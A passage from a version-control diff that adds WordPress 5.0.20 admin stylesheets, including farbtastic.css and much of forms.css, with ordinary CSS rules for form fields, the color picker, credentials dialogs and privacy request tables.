+
+	#wpbody-content #post-body.columns-2 #postbox-container-1 {
+		margin-right: 0;
+		width: 100%;
+	}
+
+	#poststuff #postbox-container-1 .empty-container,
+	#poststuff #postbox-container-1 #side-sortables:empty {
+		border: 0 none;
+		height: 0;
+		min-height: 0;
+	}
+
+	#poststuff #post-body.columns-2 #side-sortables {
+		min-height: 0;
+		width: auto;
+	}
+
+	/* hide the radio buttons for column prefs */
+	.screen-layout,
+	.columns-prefs {
+		display: none;
+	}
+}
+
+@media screen and ( max-width: 782px ) {
+	.wp-core-ui .edit-tag-actions .button-primary {
+		margin-bottom: 0;
+	}
+
+	#post-body-content {
+		min-width: 0;
+	}
+
+	#titlediv #title-prompt-text {
+		padding: 10px 10px;
+	}
+
+	#poststuff h3.hndle, /* Back-compat for pre-4.4 */
+	#poststuff .stuffbox > h3, /* Back-compat for pre-4.4 */
+	#poststuff h2 {
+		padding: 12px;
+	}
+
+	.post-format-options {
+		padding-right: 0;
+	}
+
+	.post-format-options a {
+		margin-right: 5px;
+		margin-bottom: 5px;
+		min-width: 52px;
+	}
+
+	.post-format-options .post-format-title {
+		font-size: 11px;
+	}
+
+	.post-format-options a div {
+		height: 28px;
+		width: 28px;
+	}
+
+	.post-format-options a div:before {
+		font-size: 26px !important;
+	}
+
+	/* Publish Metabox Options */
+	#post-visibility-select {
+		line-height: 280%;
+	}
+
+	.wp-core-ui .save-post-visibility,
+	.wp-core-ui .save-timestamp {
+		vertical-align: middle;
+		margin-right: 15px;
+	}
+
+	.timestamp-wrap select#mm {
+		display: block;
+		width: 100%;
+		margin-bottom: 10px;
+	}
+
+	.timestamp-wrap #jj,
+	.timestamp-wrap #aa,
+	.timestamp-wrap #hh,
+	.timestamp-wrap #mn {
+		padding: 12px 3px;
+		font-size: 14px;
+		margin-bottom: 5px;
+		width: auto;
+		text-align: center;
+	}
+
+	/* Categories Metabox */
+	ul.category-tabs {
+		margin: 30px 0 15px;
+	}
+
+	ul.category-tabs li.tabs {
+		padding: 15px;
+	}
+
+	ul.categorychecklist li {
+		margin-bottom: 15px;
+	}
+
+	ul.categorychecklist ul {
+		margin-top: 15px;
+	}
+
+	.category-add input[type=text],
+	.category-add select {
+		max-width: none;
+		margin-bottom: 15px;
+	}
+
+	/* Tags Metabox */
+	.tagsdiv .newtag {
+		width: 100%;
+		height: auto;
+		margin-bottom: 15px;
+	}
+
+	.tagchecklist {
+		margin: 25px 10px;
+	}
+
+	.tagchecklist > li {
+		font-size: 16px;
+		line-height: 1.4;
+	}
+
+	/* Discussion */
+	#commentstatusdiv p {
+		line-height: 2.8;
+	}
+
+	/* TinyMCE Adjustments */
+	.mceToolbar * {
+		white-space: normal !important;
+	}
+
+	.mceToolbar tr,
+	.mceToolbar td {
+		float: left !important;
+	}
+
+	.wp_themeSkin a.mceButton {
+		width: 30px;
+		height: 30px;
+	}
+
+	.wp_themeSkin .mceButton .mceIcon {
+		margin-top: 5px;
+		margin-left: 5px;
+	}
+
+	.wp_themeSkin .mceSplitButton {
+		margin-top: 1px;
+	}
+
+	.wp_themeSkin .mceSplitButton td a.mceAction {
+		padding-top: 6px;
+		padding-bottom: 6px;
+		padding-left: 6px;
+		padding-right: 3px;
+	}
+
+	.wp_themeSkin .mceSplitButton td a.mceOpen,
+	.wp_themeSkin .mceSplitButtonEnabled:hover td a.mceOpen {
+		padding-top: 6px;
+		padding-bottom: 6px;
+		background-position: 1px 6px;
+	}
+
+	.wp_themeSkin table.mceListBox {
+		margin: 5px;
+	}
+
+	div.quicktags-toolbar input {
+		padding: 10px 20px;
+	}
+
+	button.wp-switch-editor {
+		font-size: 16px;
+		line-height: 1em;
+		margin: 7px 0 0 7px;
+		padding: 8px 12px;
+	}
+
+	#wp-content-media-buttons a {
+		font-size: 14px;
+		padding: 6px 10px;
+	}
+
+	.wp-media-buttons span.wp-media-buttons-icon,
+	.wp-media-buttons span.jetpack-contact-form-icon {
+		width: 22px !important;
+		margin-left: -2px !important;
+	}
+
+	.wp-media-buttons .add_media span.wp-media-buttons-icon:before,
+	.wp-media-buttons #insert-jetpack-contact-form span.jetpack-contact-form-icon:before {
+		font-size: 20px !important;
+	}
+
+	#content_wp_fullscreen {
+		display: none;
+	}
+
+	.misc-pub-section {
+		padding: 20px 10px 20px;
+	}
+
+	.misc-pub-section > a {
+		float: right;
+		font-size: 16px;
+	}
+
+	#delete-action,
+	#publishing-action {
+		line-height: 47px;
+	}
+
+	#publishing-action .spinner {
+		float: none;
+		margin-top: -2px; /* Half of the Publish button's bottom margin. */
+	}
+
+	/* Moderate Comment */
+	.comment-ays th,
+	.comment-ays td {
+		padding-bottom: 0;
+	}
+
+	.comment-ays td {
+		padding-top: 6px;
+	}
+
+	/* Links */
+	.links-table #link_rel {
+		max-width: none;
+	}
+
+	.links-table th,
+	.links-table td {
+		padding: 10px 0;
+	}
+	
+	.privacy-text-box {
+		width: auto;
+	}
+	
+	.privacy-text-box-toc {
+		float: none;
+		width: auto;
+		height: 100%;
+	}
+
+	.privacy-text-section a.return-to-top {
+		float: none;
+		margin: 0;
+	}
+}
Index: /tags/5.0.20/src/wp-admin/css/farbtastic.css
===================================================================
--- /tags/5.0.20/src/wp-admin/css/farbtastic.css	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/css/farbtastic.css	(revision 56912)
@@ -0,0 +1,41 @@
+
+.farbtastic {
+  position: relative;
+}
+
+.farbtastic * {
+  position: absolute;
+  cursor: crosshair;
+}
+
+.farbtastic,
+.farbtastic .wheel {
+  width: 195px;
+  height: 195px;
+}
+
+.farbtastic .color,
+.farbtastic .overlay {
+  top: 47px;
+  left: 47px;
+  width: 101px;
+  height: 101px;
+}
+
+.farbtastic .wheel {
+  background: url(../images/wheel.png) no-repeat;
+  width: 195px;
+  height: 195px;
+}
+
+.farbtastic .overlay {
+  background: url(../images/mask.png) no-repeat;
+}
+
+.farbtastic .marker {
+  width: 17px;
+  height: 17px;
+  margin: -8px 0 0 -8px;
+  overflow: hidden;
+  background: url(../images/marker.png) no-repeat;
+}
Index: /tags/5.0.20/src/wp-admin/css/forms.css
===================================================================
--- /tags/5.0.20/src/wp-admin/css/forms.css	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/css/forms.css	(revision 56912)
@@ -0,0 +1,1576 @@
+/* Include margin and padding in the width calculation of input and textarea. */
+input,
+textarea {
+	box-sizing: border-box;
+}
+
+input[type="text"],
+input[type="password"],
+input[type="checkbox"],
+input[type="color"],
+input[type="date"],
+input[type="datetime"],
+input[type="datetime-local"],
+input[type="email"],
+input[type="month"],
+input[type="number"],
+input[type="search"],
+input[type="radio"],
+input[type="tel"],
+input[type="text"],
+input[type="time"],
+input[type="url"],
+input[type="week"],
+select,
+textarea {
+	border: 1px solid #ddd;
+	box-shadow: inset 0 1px 2px rgba( 0, 0, 0, 0.07 );
+	background-color: #fff;
+	color: #32373c;
+	outline: none;
+	transition: 0.05s border-color ease-in-out;
+}
+
+input[type="text"]:focus,
+input[type="password"]:focus,
+input[type="color"]:focus,
+input[type="date"]:focus,
+input[type="datetime"]:focus,
+input[type="datetime-local"]:focus,
+input[type="email"]:focus,
+input[type="month"]:focus,
+input[type="number"]:focus,
+input[type="search"]:focus,
+input[type="tel"]:focus,
+input[type="text"]:focus,
+input[type="time"]:focus,
+input[type="url"]:focus,
+input[type="week"]:focus,
+input[type="checkbox"]:focus,
+input[type="radio"]:focus,
+select:focus,
+textarea:focus {
+	border-color: #5b9dd9;
+	box-shadow: 0 0 2px rgba( 30, 140, 190, 0.8 );
+}
+
+/* rtl:ignore */
+input[type="email"],
+input[type="url"] {
+	direction: ltr;
+}
+
+/* Vertically align the number selector with the input. */
+input[type="number"] {
+	height: 28px;
+	line-height: 1;
+}
+
+input[type="checkbox"],
+input[type="radio"] {
+	border: 1px solid #b4b9be;
+	background: #fff;
+	color: #555;
+	clear: none;
+	cursor: pointer;
+	display: inline-block;
+	line-height: 0;
+	height: 16px;
+	margin: -4px 4px 0 0;
+	outline: 0;
+	padding: 0 !important;
+	text-align: center;
+	vertical-align: middle;
+	width: 16px;
+	min-width: 16px;
+	-webkit-appearance: none;
+	box-shadow: inset 0 1px 2px rgba( 0, 0, 0, 0.1 );
+	transition: .05s border-color ease-in-out;
+}
+
+input[type="radio"]:checked + label:before {
+	color: #82878c;
+}
+
+.wp-core-ui input[type="reset"]:hover,
+.wp-core-ui input[type="reset"]:active {
+	color: #00a0d2;
+}
+
+td > input[type="checkbox"],
+.wp-admin p input[type="checkbox"],
+.wp-admin p input[type="radio"] {
+	margin-top: 0;
+}
+
+.wp-admin p label input[type="checkbox"] {
+	margin-top: -4px;
+}
+
+.wp-admin p label input[type="radio"] {
+	margin-top: -2px;
+}
+
+input[type="radio"] {
+	border-radius: 50%;
+	margin-right: 4px;
+	line-height: 10px;
+}
+
+input[type="checkbox"]:checked:before,
+input[type="radio"]:checked:before {
+	float: left;
+	display: inline-block;
+	vertical-align: middle;
+	width: 16px;
+	font: normal 21px/1 dashicons;
+	speak: none;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+}
+
+input[type="checkbox"]:checked:before {
+	content: "\f147";
+	margin: -3px 0 0 -4px;
+	color: #1e8cbe;
+}
+
+input[type="radio"]:checked:before {
+	content: "\2022";
+	text-indent: -9999px;
+	border-radius: 50px;
+	font-size: 24px;
+	width: 6px;
+	height: 6px;
+	margin: 4px;
+	line-height: 16px;
+	background-color: #1e8cbe;
+}
+
+@-moz-document url-prefix() {
+	input[type="checkbox"],
+	input[type="radio"],
+	.form-table input.tog {
+		margin-bottom: -1px;
+	}
+}
+
+/* Search */
+input[type="search"] {
+	-webkit-appearance: textfield;
+}
+
+input[type="search"]::-webkit-search-decoration {
+	display: none;
+}
+
+.ie8 input[type="password"] {
+	font-family: sans-serif;
+}
+
+textarea,
+input,
+select,
+button {
+	font-family: inherit;
+	font-size: inherit;
+	font-weight: inherit;
+}
+
+textarea,
+input,
+select {
+	font-size: 14px;
+	padding: 3px 5px;
+	border-radius: 0; /* Reset mobile webkit's default element styling */
+}
+
+textarea {
+	overflow: auto;
+	padding: 2px 6px;
+	line-height: 1.4;
+	resize: vertical;
+}
+
+.wp-admin input[type="file"] {
+	padding: 3px 0;
+	cursor: pointer;
+}
+
+label {
+	cursor: pointer;
+}
+
+input,
+select {
+	margin: 1px;
+	padding: 3px 5px;
+}
+
+input.code {
+	padding-top: 6px;
+}
+
+textarea.code {
+	line-height: 1.4;
+	padding: 4px 6px 1px 6px;
+}
+
+input.readonly,
+input[readonly],
+textarea.readonly,
+textarea[readonly] {
+	background-color: #eee;
+}
+
+::-webkit-input-placeholder {
+	color: #72777c;
+}
+
+::-moz-placeholder {
+   color: #72777c;
+   opacity: 1;
+}
+
+:-ms-input-placeholder {
+	color: #72777c;
+}
+
+.form-invalid input, .form-invalid input:focus,
+.form-invalid select, .form-invalid select:focus {
+	border-color: #dc3232 !important;
+ box-shadow: 0 0 2px rgba( 204, 0, 0, 0.8 );
+}
+
+.form-table .form-required.form-invalid td:after {
+	content: "\f534";
+	font: normal 20px/1 dashicons;
+	color: #dc3232;
+	margin-left: -25px;
+	vertical-align: middle;
+}
+
+/* Adjust error indicator for password layout */
+.form-table .form-required.user-pass1-wrap.form-invalid td:after {
+	content: '';
+}
+
+.form-table .form-required.user-pass1-wrap.form-invalid .password-input-wrapper:after {
+	content: '\f534';
+	font: normal 20px/1 dashicons;
+	color: #dc3232;
+	margin: 0 6px 0 -29px;
+	vertical-align: middle;
+}
+
+.form-input-tip {
+	color: #666;
+}
+
+input:disabled,
+input.disabled,
+select:disabled,
+select.disabled,
+textarea:disabled,
+textarea.disabled {
+	background: rgba( 255, 255, 255, 0.5 );
+	border-color: rgba( 222, 222, 222, 0.75 );
+	box-shadow: inset 0 1px 2px rgba( 0, 0, 0, 0.04 );
+	color: rgba( 51, 51, 51, 0.5 );
+}
+
+input[type="file"]:disabled,
+input[type="file"].disabled,
+input[type="range"]:disabled,
+input[type="range"].disabled {
+	background: none;
+	box-shadow: none;
+	cursor: default;
+}
+
+input[type="checkbox"]:disabled,
+input[type="checkbox"].disabled,
+input[type="radio"]:disabled,
+input[type="radio"].disabled,
+input[type="checkbox"]:disabled:checked:before,
+input[type="checkbox"].disabled:checked:before,
+input[type="radio"]:disabled:checked:before,
+input[type="radio"].disabled:checked:before {
+	opacity: 0.7;
+}
+
+/*------------------------------------------------------------------------------
+  2.0 - Forms
+------------------------------------------------------------------------------*/
+
+
+.wp-admin select {
+	padding: 2px;
+	line-height: 28px;
+	height: 28px;
+	vertical-align: middle;
+}
+
+.wp-admin .button-cancel {
+	padding: 0 5px;
+	line-height: 2;
+}
+
+.meta-box-sortables select {
+	max-width: 100%;
+}
+
+.wp-admin select[multiple] {
+	height: auto;
+}
+
+.submit {
+	padding: 1.5em 0;
+	margin: 5px 0;
+	border-bottom-left-radius: 3px;
+	border-bottom-right-radius: 3px;
+	border: none;
+}
+
+form p.submit a.cancel:hover {
+	text-decoration: none;
+}
+
+p.submit {
+	text-align: left;
+	max-width: 100%;
+	margin-top: 20px;
+	padding-top: 10px;
+}
+
+.textright p.submit {
+	border: none;
+	text-align: right;
+}
+
+table.form-table + p.submit,
+table.form-table + input + p.submit,
+table.form-table + input + input + p.submit {
+	border-top: none;
+	padding-top: 0;
+}
+
+#minor-publishing-actions input,
+#major-publishing-actions input,
+#minor-publishing-actions .preview {
+	text-align: center;
+}
+
+textarea.all-options,
+input.all-options {
+	width: 250px;
+}
+
+input.large-text,
+textarea.large-text {
+	width: 99%;
+}
+
+.regular-text {
+	width: 25em;
+}
+
+input.small-text {
+	width: 50px;
+	padding: 1px 6px;
+}
+
+input[type="number"].small-text {
+	width: 65px;
+}
+
+input.tiny-text {
+	width: 35px;
+}
+
+input[type="number"].tiny-text {
+	width: 45px;
+}
+
+#doaction,
+#doaction2,
+#post-query-submit {
+	margin: 1px 8px 0 0;
+}
+
+.tablenav #changeit,
+.tablenav #delete_all,
+.tablenav #clear-recent-list,
+.wp-filter #delete_all {
+	margin-top: 1px;
+}
+
+.tablenav .actions select {
+	float: left;
+	margin-right: 6px;
+	max-width: 200px;
+}
+
+.ie8 .tablenav .actions select {
+	width: 155px;
+}
+
+.ie8 .tablenav .actions select#cat {
+	width: 200px;
+}
+
+#timezone_string option {
+	margin-left: 1em;
+}
+
+button.wp-hide-pw > .dashicons {
+	position: relative;
+	top: 3px;
+}
+
+label,
+#your-profile label + a {
+	vertical-align: middle;
+}
+
+fieldset label,
+#your-profile label + a {
+	vertical-align: middle;
+}
+
+.options-media-php [for*="_size_"] {
+	min-width: 10em;
+	vertical-align: baseline;
+}
+
+.options-media-php .small-text[name*="_size_"] {
+	margin: 0 0 1em;
+}
+
+#misc-publishing-actions label {
+	vertical-align: baseline;
+}
+
+#pass-strength-result {
+	background-color: #eee;
+	border: 1px solid #ddd;
+	color: #23282d;
+	margin: -2px 5px 5px 1px;
+	padding: 3px 5px;
+	text-align: center;
+	width: 25em;
+	box-sizing: border-box;
+	opacity: 0;
+}
+
+#pass-strength-result.short {
+	background-color: #f1adad;
+	border-color: #e35b5b;
+	opacity: 1;
+}
+
+#pass-strength-result.bad {
+	background-color: #fbc5a9;
+	border-color: #f78b53;
+	opacity: 1;
+}
+
+#pass-strength-result.good {
+	background-color: #ffe399;
+	border-color: #ffc733;
+	opacity: 1;
+}
+
+#pass-strength-result.strong {
+	background-color: #c1e1b9;
+	border-color: #83c373;
+	opacity: 1;
+}
+
+#pass1.short, #pass1-text.short {
+	border-color: #e35b5b;
+}
+
+#pass1.bad, #pass1-text.bad {
+	border-color: #f78b53;
+}
+
+#pass1.good, #pass1-text.good {
+	border-color: #ffc733;
+}
+
+#pass1.strong, #pass1-text.strong {
+	border-color: #83c373;
+}
+
+.pw-weak {
+	display:none;
+}
+
+.indicator-hint {
+	padding-top: 8px;
+}
+
+#pass1-text,
+.show-password #pass1 {
+	display: none;
+}
+
+.show-password #pass1-text
+{
+	display: inline-block;
+}
+
+.form-table span.description.important {
+	font-size: 12px;
+}
+
+p.search-box {
+	float: right;
+	margin: 0;
+}
+
+.network-admin.themes-php p.search-box {
+	clear: left;
+}
+
+.search-box input[name="s"],
+.tablenav .search-plugins input[name="s"],
+.tagsdiv .newtag {
+	float: left;
+	height: 28px;
+	margin: 0 4px 0 0;
+}
+
+.js.plugins-php .search-box .wp-filter-search {
+	margin: 0;
+	width: 280px;
+	font-size: 16px;
+	font-weight: 300;
+	line-height: 1.5;
+	padding: 3px 5px;
+	height: 32px;
+}
+
+input[type="text"].ui-autocomplete-loading,
+input[type="email"].ui-autocomplete-loading {
+	background-image: url(../images/loading.gif);
+	background-repeat: no-repeat;
+	background-position: right center;
+	visibility: visible;
+}
+
+input.ui-autocomplete-input.open {
+	border-bottom-color: transparent;
+}
+
+ul#add-to-blog-users {
+	margin: 0 0 0 14px;
+}
+
+.ui-autocomplete {
+	padding: 0;
+	margin: 0;
+	list-style: none;
+	position: absolute;
+	z-index: 10000;
+	border: 1px solid #5b9dd9;
+	box-shadow: 0 1px 2px rgba( 30, 140, 190, 0.8 );
+	background-color: #fff;
+}
+
+.ui-autocomplete li {
+	margin-bottom: 0;
+	padding: 4px 10px;
+	white-space: nowrap;
+	text-align: left;
+	cursor: pointer;
+}
+
+/* Colors for the wplink toolbar autocomplete. */
+.ui-autocomplete .ui-state-focus {
+	background-color: #ddd;
+}
+
+/* Colors for the tags autocomplete. */
+.wp-tags-autocomplete .ui-state-focus {
+	background-color: #0073aa;
+	color: #fff;
+}
+
+/*------------------------------------------------------------------------------
+  15.0 - Comments Screen
+------------------------------------------------------------------------------*/
+
+.form-table {
+	border-collapse: collapse;
+	margin-top: 0.5em;
+	width: 100%;
+	clear: both;
+}
+
+.form-table,
+.form-table td,
+.form-table th,
+.form-table td p {
+	font-size: 14px;
+}
+
+.form-table td {
+	margin-bottom: 9px;
+	padding: 15px 10px;
+	line-height: 1.3;
+	vertical-align: middle;
+}
+
+.form-table th,
+.form-wrap label {
+	color: #23282d;
+	font-weight: 400;
+	text-shadow: none;
+	vertical-align: baseline;
+}
+
+.form-table th {
+	vertical-align: top;
+	text-align: left;
+	padding: 20px 10px 20px 0;
+	width: 200px;
+	line-height: 1.3;
+	font-weight: 600;
+}
+
+.form-table th.th-full, /* Not used by core. Back-compat for pre-4.8 */
+.form-table .td-full {
+	width: auto;
+	padding: 20px 10px 20px 0;
+	font-weight: 400;
+}
+
+.form-table td p {
+	margin-top: 4px;
+	margin-bottom: 0;
+}
+
+.form-table .date-time-doc {
+	margin-top: 1em;
+}
+
+.form-table p.timezone-info {
+	margin: 1em 0;
+}
+
+.form-table td fieldset label {
+	margin: 0.25em 0 0.5em !important;
+	display: inline-block;
+}
+
+.form-table td fieldset label,
+.form-table td fieldset p,
+.form-table td fieldset li {
+	line-height: 1.4em;
+}
+
+.form-table input.tog,
+.form-table input[type="radio"] {
+	margin-top: -4px;
+	margin-right: 4px;
+	float: none;
+}
+
+.form-table .pre {
+	padding: 8px;
+	margin: 0;
+}
+
+table.form-table td .updated {
+	font-size: 13px;
+}
+
+table.form-table td .updated p {
+	font-size: 13px;
+	margin: 0.3em 0;
+}
+
+/*------------------------------------------------------------------------------
+  18.0 - Users
+------------------------------------------------------------------------------*/
+
+#profile-page .form-table textarea {
+	width: 500px;
+	margin-bottom: 6px;
+}
+
+#profile-page .form-table #rich_editing {
+	margin-right: 5px
+}
+
+#your-profile legend {
+	font-size: 22px;
+}
+
+#display_name {
+	width: 15em;
+}
+
+#adduser .form-field input,
+#createuser .form-field input {
+	width: 25em;
+}
+
+.color-option {
+	display: inline-block;
+	width: 24%;
+	padding: 5px 15px 15px;
+	box-sizing: border-box;
+	margin-bottom: 3px;
+}
+
+.color-option:hover,
+.color-option.selected {
+	background: #ddd;
+}
+
+.color-palette {
+	width: 100%;
+	border-spacing: 0;
+	border-collapse: collapse;
+}
+.color-palette td {
+	height: 20px;
+	padding: 0;
+	border: none;
+}
+
+.color-option {
+	cursor: pointer;
+}
+
+/*------------------------------------------------------------------------------
+  19.0 - Tools
+------------------------------------------------------------------------------*/
+
+.tool-box .title {
+	margin: 8px 0;
+	font-size: 18px;
+	font-weight: 400;
+	line-height: 24px;
+}
+
+.label-responsive {
+	vertical-align: middle;
+}
+
+#export-filters p {
+	margin: 0 0 1em;
+}
+
+#export-filters p.submit {
+	margin: 7px 0 5px;
+}
+
+/* Card styles */
+
+.card {
+	position: relative;
+	margin-top: 20px;
+	padding: 0.7em 2em 1em;
+	min-width: 255px;
+	max-width: 520px;
+	border: 1px solid #e5e5e5;
+	box-shadow: 0 1px 1px rgba(0,0,0,0.04);
+	background: #fff;
+}
+
+/* Press this styles */
+
+.pressthis h4 {
+	margin: 2em 0 1em;
+}
+
+.pressthis textarea {
+	width: 100%;
+	font-size: 1em;
+}
+
+#pressthis-code-wrap {
+	overflow: auto;
+}
+
+.pressthis-bookmarklet-wrapper {
+	margin: 20px 0 8px;
+	vertical-align: top;
+	position: relative;
+	z-index: 1;
+}
+
+.pressthis-bookmarklet,
+.pressthis-bookmarklet:hover,
+.pressthis-bookmarklet:focus,
+.pressthis-bookmarklet:active {
+	display: inline-block;
+	position: relative;
+	cursor: move;
+	color: #32373c;
+	background: #e5e5e5;
+	border-radius: 5px;
+	border: 1px solid #b4b9be;
+	font-style: normal;
+	line-height: 16px;
+	font-size: 14px;
+	text-decoration: none;
+}
+
+.pressthis-bookmarklet:active {
+	outline: none;
+}
+
+.pressthis-bookmarklet:after {
+	content: "";
+	width: 70%;
+	height: 55%;
+	z-index: -1;
+	position: absolute;
+	right: 10px;
+	bottom: 9px;
+	background: transparent;
+	transform: skew(20deg) rotate(6deg);
+	box-shadow: 0 10px 8px rgba(0, 0, 0, 0.6);
+}
+
+.pressthis-bookmarklet:hover:after {
+	transform: skew(20deg) rotate(9deg);
+	box-shadow: 0 10px 8px rgba(0, 0, 0, 0.7);
+}
+
+.pressthis-bookmarklet span {
+	display: inline-block;
+	margin: 0px 0 0;
+	padding: 0px 12px 8px 9px;
+}
+
+.pressthis-bookmarklet span:before {
+	color: #72777c;
+	font: normal 20px/1 dashicons;
+	content: "\f157";
+	position: relative;
+	display: inline-block;
+	top: 4px;
+	margin-right: 4px;
+}
+
+.pressthis-js-toggle {
+	margin-left: 10px;
+	padding: 0;
+	height: auto;
+	vertical-align: top;
+}
+
+/* to override the button class being applied */
+.pressthis-js-toggle.button.button {
+	margin-left: 10px;
+	padding: 0;
+	height: auto;
+	vertical-align: top;
+}
+
+.pressthis-js-toggle .dashicons {
+	margin: 5px 8px 6px 7px;
+	color: #555d66;
+}
+
+/*------------------------------------------------------------------------------
+  20.0 - Settings
+------------------------------------------------------------------------------*/
+
+.timezone-info code {
+	white-space: nowrap;
+}
+
+.defaultavatarpicker .avatar {
+	margin: 2px 0;
+	vertical-align: middle;
+}
+
+.options-general-php .date-time-text {
+	display: inline-block;
+	min-width: 10em;
+}
+
+.options-general-php input.small-text {
+	width: 56px;
+}
+
+.options-general-php .spinner {
+	float: none;
+	margin: -3px 3px 0;
+}
+
+.settings-php .language-install-spinner,
+.options-general-php .language-install-spinner {
+	display: inline-block;
+	float: none;
+	margin: -3px 5px 0;
+	vertical-align: middle;
+}
+
+.form-table.permalink-structure .available-structure-tags li {
+	float: left;
+	margin-right: 5px;
+}
+
+/*------------------------------------------------------------------------------
+  21.0 - Network Admin
+------------------------------------------------------------------------------*/
+
+.setup-php textarea {
+	max-width: 100%;
+}
+
+.form-field #site-address {
+	max-width: 25em;
+}
+
+.form-field #domain {
+	max-width: 22em;
+}
+
+.form-field #site-title,
+.form-field #admin-email,
+.form-field #path,
+.form-field #blog_registered,
+.form-field #blog_last_updated {
+	max-width: 25em;
+}
+
+.form-field #path {
+	margin-bottom: 5px;
+}
+
+#search-users,
+#search-sites {
+	max-width: 100%;
+}
+
+/*------------------------------------------------------------------------------
+   Credentials check dialog for Install and Updates
+------------------------------------------------------------------------------*/
+
+.request-filesystem-credentials-dialog {
+	display: none;
+	/* The customizer uses visibility: hidden on the body for full-overlays. */
+	visibility: visible;
+}
+
+.request-filesystem-credentials-dialog .notification-dialog {
+	top: 10%;
+	max-height: 85%;
+}
+
+.request-filesystem-credentials-dialog-content {
+	margin: 25px;
+}
+
+#request-filesystem-credentials-title {
+    font-size: 1.3em;
+    margin: 1em 0;
+}
+
+.request-filesystem-credentials-form legend {
+	font-size: 1em;
+	padding: 1.33em 0;
+	font-weight: 600;
+}
+
+.request-filesystem-credentials-form input[type="text"],
+.request-filesystem-credentials-form input[type="password"] {
+	display: block;
+}
+
+.request-filesystem-credentials-dialog input[type="text"],
+.request-filesystem-credentials-dialog input[type="password"] {
+	width: 100%;
+}
+
+.request-filesystem-credentials-form .field-title {
+	font-weight: 600;
+}
+
+.request-filesystem-credentials-dialog label[for="hostname"],
+.request-filesystem-credentials-dialog label[for="public_key"],
+.request-filesystem-credentials-dialog label[for="private_key"] {
+	display: block;
+	margin-bottom: 1em;
+}
+
+.request-filesystem-credentials-dialog .ftp-username,
+.request-filesystem-credentials-dialog .ftp-password {
+	float: left;
+	width: 48%;
+}
+
+.request-filesystem-credentials-dialog .ftp-password {
+	margin-left: 4%;
+}
+
+.request-filesystem-credentials-dialog .request-filesystem-credentials-action-buttons {
+	text-align: right;
+}
+
+.request-filesystem-credentials-dialog label[for="ftp"] {
+	margin-right: 10px;
+}
+
+.request-filesystem-credentials-dialog #auth-keys-desc {
+	margin-bottom: 0;
+}
+
+#request-filesystem-credentials-dialog .button:not(:last-child) {
+	margin-right: 10px;
+}
+
+#request-filesystem-credentials-form .cancel-button {
+	display: none;
+}
+
+#request-filesystem-credentials-dialog .cancel-button {
+	display: inline;
+}
+
+.request-filesystem-credentials-dialog .ftp-username,
+.request-filesystem-credentials-dialog .ftp-password {
+	float: none;
+	width: auto;
+}
+
+.request-filesystem-credentials-dialog .ftp-username {
+	margin-bottom: 1em;
+}
+
+.request-filesystem-credentials-dialog .ftp-password {
+	margin: 0;
+}
+
+.request-filesystem-credentials-dialog .ftp-password em {
+	color: #888;
+}
+
+.request-filesystem-credentials-dialog label {
+	display: block;
+	line-height: 1.5;
+	margin-bottom: 1em;
+}
+
+.request-filesystem-credentials-form legend {
+	padding-bottom: 0;
+}
+
+.request-filesystem-credentials-form #ssh-keys legend {
+	font-size: 1.3em;
+}
+
+.request-filesystem-credentials-form .notice {
+	margin: 0 0 20px 0;
+	clear: both;
+}
+
+/*------------------------------------------------------------------------------
+   Privacy Policy settings screen
+------------------------------------------------------------------------------*/
+.tools-privacy-policy-page form {
+	margin-bottom: 1.3em;
+}
+
+.tools-privacy-policy-page input.button,
+.tools-privacy-policy-page select {
+	margin-left: 6px;
+}
+
+.tools-privacy-edit {
+	margin: 1.5em 0;
+}
+
+.tools-privacy-policy-page span {
+	line-height: 2em;
+}
+
+.privacy_requests .column-email {
+	width: 40%;
+}
+
+.privacy_requests .column-type {
+	text-align: center;
+}
+
+.privacy_requests thead td:first-child,
+.privacy_requests tfoot td:first-child {
+	border-left: 4px solid #fff;
+}
+
+.privacy_requests tbody th {
+	border-left: 4px solid #fff;
+	background: #fff;
+	box-shadow: inset 0 -1px 0 rgba(0,0,0,0.1);
+}
+
+.privacy_requests tbody .has-request-results th {
+	box-shadow: none;
+}
+
+.privacy_requests tbody .request-results th .notice {
+	margin: 0 0 5px;
+}
+
+.privacy_requests tbody td {
+	background: #fff;
+	box-shadow: inset 0 -1px 0 rgba(0,0,0,0.1);
+}
+
+.privacy_requests tbody .has-request-results td {
+	box-shadow: none;
+}
+
+.privacy_requests .next_steps .button {
+	height: auto;
+	line-height: 1.5;
+	padding: 4px 10px;
+	word-break: break-all;
+	white-space: unset;
+}
+
+.privacy_requests .status-request-confirmed th,
+.privacy_requests .status-request-confirmed td {
+	background-color: #f7fcfe;
+	border-left-color: #00a0d2;
+}
+
+.privacy_requests .status-request-failed th,
+.privacy_requests .status-request-failed td {
+	background-color: #fef7f1;
+	border-left-color: #d64d21;
+}
+
+.privacy_requests .export_personal_data_failed a {
+	vertical-align: baseline;
+}
+
+.status-label {
+	font-weight: bold;
+}
+
+.status-label.status-request-pending {
+	font-weight: normal;
+	font-style: italic;
+	color: #6c7781;
+}
+
+.status-label.status-request-failed {
+	color: #aa0000;
+	font-weight: bold;
+}
+
+.wp-privacy-request-form {
+	clear: both;
+}
+
+.wp-privacy-request-form-field {
+	margin: 1.5em 0;
+}
+
+.wp-privacy-request-form label {
+	font-weight: bold;
+	line-height: 1.5;
+	padding-bottom: .5em;
+	display: block;
+}
+
+.wp-privacy-request-form input {
+	line-height: 1.5;
+	margin: 0;
+}
+
+.email-personal-data::before {
+	display: inline-block;
+	font: normal 20px/1 dashicons;
+	margin: 3px 5px 0 -2px;
+	speak: none;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+	vertical-align: top;
+}
+
+.email-personal-data--sending::before {
+	color: #f56e28;
+	content: "\f463";
+	animation: rotation 2s infinite linear;
+}
+
+.email-personal-data--sent::before {
+	color: #79ba49;
+	content: "\f147";
+}
+
+
+/* =Media Queries
+-------------------------------------------------------------- */
+
+@media screen and ( max-width: 782px ) {
+	/* Input Elements */
+	textarea {
+		-webkit-appearance: none;
+	}
+
+	input[type="text"],
+	input[type="email"],
+	input[type="search"],
+	input[type="password"],
+	input[type="number"] {
+		-webkit-appearance: none;
+		padding: 6px 10px;
+	}
+
+	input[type="number"] {
+		height: 40px;
+	}
+
+	input.code {
+		padding-bottom: 5px;
+		padding-top: 10px;
+	}
+
+	input[type="checkbox"],
+	.widefat th input[type="checkbox"],
+	.widefat thead td input[type="checkbox"],
+	.widefat tfoot td input[type="checkbox"] {
